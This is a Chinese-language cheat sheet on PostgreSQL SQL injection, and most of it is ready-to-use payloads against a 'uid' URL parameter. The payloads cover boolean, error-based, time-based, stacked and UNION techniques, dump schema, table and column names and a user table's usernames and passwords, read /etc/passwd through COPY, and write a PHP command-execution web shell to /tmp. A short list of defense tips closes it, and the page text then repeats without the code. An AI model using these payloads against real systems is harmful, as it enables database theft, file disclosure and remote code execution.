postgresql注入
字数 772 2025-08-15 21:31:58

PostgreSQL 注入攻击全面指南

一、PostgreSQL 简介

PostgreSQL 是一个免费的对象-关系数据库服务器(ORDBMS),在灵活的 BSD 许可证下发行。其开发者将其读作 "post-gress-Q-L",并自称是"世界上最先进的开源关系型数据库"。

二、注入类型与验证方法

1. 基于布尔型注入(Boolean-based blind)

通过条件语句的真假判断注入是否存在:

index.php?uid=1 AND 1=1  # 运行正常
index.php?uid=1 AND 1=2  # 运行异常

2. 基于报错注入(Error-based)

利用错误信息获取数据:

获取版本号:

select * from tbuser where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)

获取 Schemas 名称:

select * from tbuser where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)

3. 基于时间的盲注(Time-based blind)

通过延时判断注入:

AND 6489=(SELECT 6489 FROM PG_SLEEP(5))  # 延时5

4. 基于堆叠查询(Stacked queries)

执行多条SQL语句:

?uid=1;select PG_SLEEP(5)--

5. 基于联合查询(UNION query)

确定字段数:

?uid=1 order by 1,2,3  # 运行正常
?uid=1 order by 1,2,3,4  # 运行异常,确定字段数为3

测试输出位置:

?uid=1 UNION ALL SELECT NULL,('11111'),NULL--  # 查看是否输出11111

三、获取数据库结构和内容

1. 获取模式名称(schemaname)

?uid=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--

简化版:

?uid=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--

2. 获取数据表名称

uid=1 UNION ALL SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname IN ('public')

3. 获取表字段名称

?uid=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b 
JOIN pg_class a ON a.oid=b.attrelid 
WHERE a.relnamespace=pg_namespace.oid 
AND pg_type.oid=b.atttypid 
AND attnum>0 
AND a.relname='tbuser' 
AND nspname='public'

4. 获取表内容

?uid=1 UNION ALL SELECT NULL,id||','||username||','||passwd,NULL FROM public.tbuser--

四、文件与目录操作

1. 列目录

只能列安装目录下的文件:

?uid=1 union select NULL,NULL,pg_ls_dir('./')

2. 读文件

?uid=1;
CREATE TABLE passwd(t TEXT);
COPY passwd FROM '/etc/passwd';
SELECT NULL,t,NULL FROM passwd;

3. 写文件

?uid=1;
DROP TABLE pass;  # 需要为数据库存在的表
CREATE TABLE hacktb (t TEXT);
INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");
COPY hacktb(t) TO '/tmp/hack.php';

五、关键函数解析

  1. COALESCE(expression[,n]) - 返回参数中第一个非NULL值的字段值
  2. CAST('1' AS numeric) - 类型转换函数
  3. pg_sleep(5) - 延时函数
  4. pg_ls_dir('./') - 列目录函数
  5. COPY ... FROM/TO - 文件读写操作

六、防御建议

  1. 使用参数化查询
  2. 实施最小权限原则
  3. 禁用不必要的PostgreSQL函数
  4. 对用户输入进行严格过滤和验证
  5. 定期更新PostgreSQL到最新版本

通过以上方法,可以全面了解PostgreSQL注入攻击的技术细节,并有效进行安全测试和防御。

PostgreSQL 注入攻击全面指南 一、PostgreSQL 简介 PostgreSQL 是一个免费的对象-关系数据库服务器(ORDBMS),在灵活的 BSD 许可证下发行。其开发者将其读作 "post-gress-Q-L",并自称是"世界上最先进的开源关系型数据库"。 二、注入类型与验证方法 1. 基于布尔型注入(Boolean-based blind) 通过条件语句的真假判断注入是否存在: 2. 基于报错注入(Error-based) 利用错误信息获取数据: 获取版本号: 获取 Schemas 名称: 3. 基于时间的盲注(Time-based blind) 通过延时判断注入: 4. 基于堆叠查询(Stacked queries) 执行多条SQL语句: 5. 基于联合查询(UNION query) 确定字段数: 测试输出位置: 三、获取数据库结构和内容 1. 获取模式名称(schemaname) 简化版: 2. 获取数据表名称 3. 获取表字段名称 4. 获取表内容 四、文件与目录操作 1. 列目录 只能列安装目录下的文件: 2. 读文件 3. 写文件 五、关键函数解析 COALESCE(expression[,n]) - 返回参数中第一个非NULL值的字段值 CAST('1' AS numeric) - 类型转换函数 pg_sleep(5) - 延时函数 pg_ls_dir('./') - 列目录函数 COPY ... FROM/TO - 文件读写操作 六、防御建议 使用参数化查询 实施最小权限原则 禁用不必要的PostgreSQL函数 对用户输入进行严格过滤和验证 定期更新PostgreSQL到最新版本 通过以上方法,可以全面了解PostgreSQL注入攻击的技术细节,并有效进行安全测试和防御。